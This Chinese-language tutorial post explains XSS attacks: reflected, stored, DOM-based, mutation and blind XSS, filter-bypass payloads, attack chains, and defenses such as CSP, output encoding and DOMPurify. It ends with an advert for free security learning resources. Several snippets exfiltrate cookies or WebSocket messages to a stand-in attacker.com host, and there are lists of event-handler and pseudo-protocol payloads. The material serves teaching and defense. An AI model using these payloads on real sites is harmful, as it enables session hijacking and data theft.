XSS攻击详解
1. XSS攻击概述
XSS(Cross-Site Scripting,跨站脚本攻击) 是一种将恶意脚本注入到可信网站中的安全漏洞。攻击者通过在Web页面中插入恶意脚本,当其他用户浏览该页面时,脚本会在用户浏览器中执行。
关键特征:
- 攻击发生在用户浏览器中
- 利用网站对用户输入的信任
- 绕过同源策略(SOP)的限制
- 影响范围广泛:窃取Cookie、会话劫持、钓鱼攻击等
2. XSS攻击类型
2.1 反射型XSS(Reflected XSS)
特点:恶意脚本作为请求的一部分发送,服务器立即在响应中返回并执行
攻击流程:
示例:
http://vulnerable-site.com/search?q=<script>alert('XSS')</script>
2.2 存储型XSS(Stored XSS / Persistent XSS)
特点:恶意脚本被永久存储在目标服务器上(数据库、文件等)
攻击流程:
示例:
<!– 攻击者在评论中插入 –>
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
2.3 DOM型XSS(DOM-based XSS)
特点:漏洞存在于客户端代码中,不涉及服务器响应
攻击流程:
示例:
// 漏洞代码
var hash = window.location.hash.substring(1);
document.getElementById("content").innerHTML = hash;
// 攻击URL
http://site.com/page#<script>alert('XSS')</script>
3. XSS攻击技术细节
3.1 注入点
- HTML元素内容:<div>用户输入</div>
- HTML属性值:<input value="用户输入">
- JavaScript代码:<script>var x = '用户输入';</script>
- CSS样式:<style>用户输入</style>
- URL参数:<a href="用户输入">链接</a>
3.2 绕过过滤的技术
HTML实体编码绕过
// 使用HTML实体编码
< → <
> → >
" → "
' → '
// 绕过方法:使用未编码的变体
<img src=x onerror=alert(1)>
JavaScript编码绕过
// 使用Unicode、十六进制编码
alert('XSS') → \\u0061\\u006c\\u0065\\u0072\\u0074('\\u0058\\u0053\\u0053')
事件处理器利用
<!– 多种事件触发方式 –>
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
伪协议利用
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">
4. 高级XSS攻击技术
4.1 基于Flash的XSS
// Flash中的漏洞利用
getURL("javascript:alert('XSS')");
loadMovie("javascript:alert('XSS')");
4.2 mXSS(突变XSS)
原理:浏览器HTML解析器与DOM解析器之间的不一致性
示例:
<!– 原始代码 –>
<div><style><img src=x onerror=alert(1)></style></div>
<!– 解析后 –>
<div><style><img src="x" onerror="alert(1)"></style></div>
4.3 盲注XSS
特点:攻击者无法直接看到执行结果,需要通过外部通信确认
利用方式:
// 发送请求到攻击者控制的服务器
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/log?data=' + document.cookie);
xhr.send();
5. XSS攻击链分析
5.1 信息收集阶段
// 获取敏感信息
// Cookie窃取
document.cookie
// 本地存储
localStorage.getItem('token')
// 屏幕截图(需配合其他漏洞)
// 表单数据捕获
document.forms[0].addEventListener('submit', function(e) {
var data = new FormData(this);
// 发送到攻击者服务器
});
5.2 持久化技术
// 自我复制到其他位置
if (!window.hasOwnProperty('xss_payload')) {
window.xss_payload = true;
// 注入到其他可编辑区域
// 修改现有脚本
// 创建隐藏iframe
}
5.3 横向移动
// 自动发送恶意消息
function spreadXSS() {
// 查找好友列表
// 自动发送包含XSS的消息
// 利用CSRF进行传播
}
6. 现代XSS攻击向量
6.1 基于WebSocket的XSS
// WebSocket连接窃取
var ws = new WebSocket('ws://vulnerable-site.com/chat');
ws.onmessage = function(event) {
// 将消息转发到攻击者服务器
fetch('http://attacker.com/log', {
method: 'POST',
body: event.data
});
};
6.2 Service Worker劫持
// 注册恶意Service Worker
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('malicious-sw.js')
.then(function(registration) {
console.log('Service Worker注册成功');
});
}
6.3 基于WebRTC的XSS
// 通过WebRTC泄露内部IP
var pc = new RTCPeerConnection();
pc.createOffer().then(function(offer) {
// 解析SDP获取内部IP
var internalIP = /([0-9]{1,3}(\\.[0-9]{1,3}){3})/.exec(offer.sdp)[1];
exfiltrate(internalIP);
});
7. 防御措施
7.1 输入验证与过滤
// 白名单过滤示例
function sanitizeHTML(str) {
const allowedTags = {
'b': [], 'i': [], 'u': [], 'em': [], 'strong': []
};
// 使用DOMPurify等库
return DOMPurify.sanitize(str, {
ALLOWED_TAGS: Object.keys(allowedTags),
ALLOWED_ATTR: []
});
}
7.2 输出编码
| HTML内容 | HTML实体编码 | <script> |
| HTML属性 | HTML属性编码 | "alert(1)" |
| JavaScript | JavaScript Unicode编码 | \\u003Cscript\\u003E |
| URL参数 | URL编码 | %3Cscript%3E |
| CSS | CSS编码 | \\3Cscript\\3E |
7.3 内容安全策略(CSP)
# 严格的CSP头
Content-Security-Policy:
default-src 'none';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self';
font-src 'self';
object-src 'none';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
7.4 其他安全措施
// 1. HttpOnly Cookie
Set–Cookie: sessionId=abc123; HttpOnly; Secure
// 2. 输入长度限制
<input maxlength="100">
// 3. 框架安全设置
// X-Frame-Options: DENY
// X-Content-Type-Options: nosniff
8. 检测与测试
8.1 手动测试向量
// 基础测试payload
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
javascript:alert(1)
// 高级测试payload
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
8.2 自动化扫描
# 使用工具
# OWASP ZAP
zap-cli quick-scan –self-contained http://target.com
# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"
# 自定义检测脚本
8.3 浏览器安全特性
// Trusted Types API
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (string) => {
// 自定义清理逻辑
return sanitizeHTML(string);
}
});
}
9. 真实案例分析
案例1:社交媒体XSS蠕虫
// 著名的Samy蠕虫(MySpace,2005)
// 通过个人资料页面传播
// 感染超过100万用户
// 关键代码:
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="alert('XSS')" />
案例2:DOM XSS in jQuery
// CVE-2020-11022/11023
// 漏洞代码:
$('<div>').html(userInput);
// 修复:
$('<div>').text(userInput);
10. 发展趋势与未来挑战
10.1 新兴威胁
- WebAssembly中的XSS:通过Wasm模块绕过传统检测
- Shadow DOM XSS:Web组件中的隔离问题
- 机器学习模型投毒:间接导致XSS漏洞
10.2 防御演进
// 现代防御技术
// 1. Subresource Integrity (SRI)
<script src="https://cdn.example.com/script.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
// 2. Cross-Origin Resource Policy
Cross–Origin–Resource–Policy: same–site
// 3. Fetch Metadata
Sec–Fetch–Site: cross–site
Sec–Fetch–Mode: navigate
总结
XSS攻击仍然是Web安全中最普遍且危险的威胁之一。随着Web技术的发展,新的攻击向量不断出现。有效的XSS防御需要:
防御XSS不仅是技术挑战,更是持续的过程,需要开发团队、安全团队和运维团队的共同协作。随着Web技术的演进,XSS防护也需要不断更新和改进。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈) 

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

网硕互联帮助中心







评论前必须登录!
注册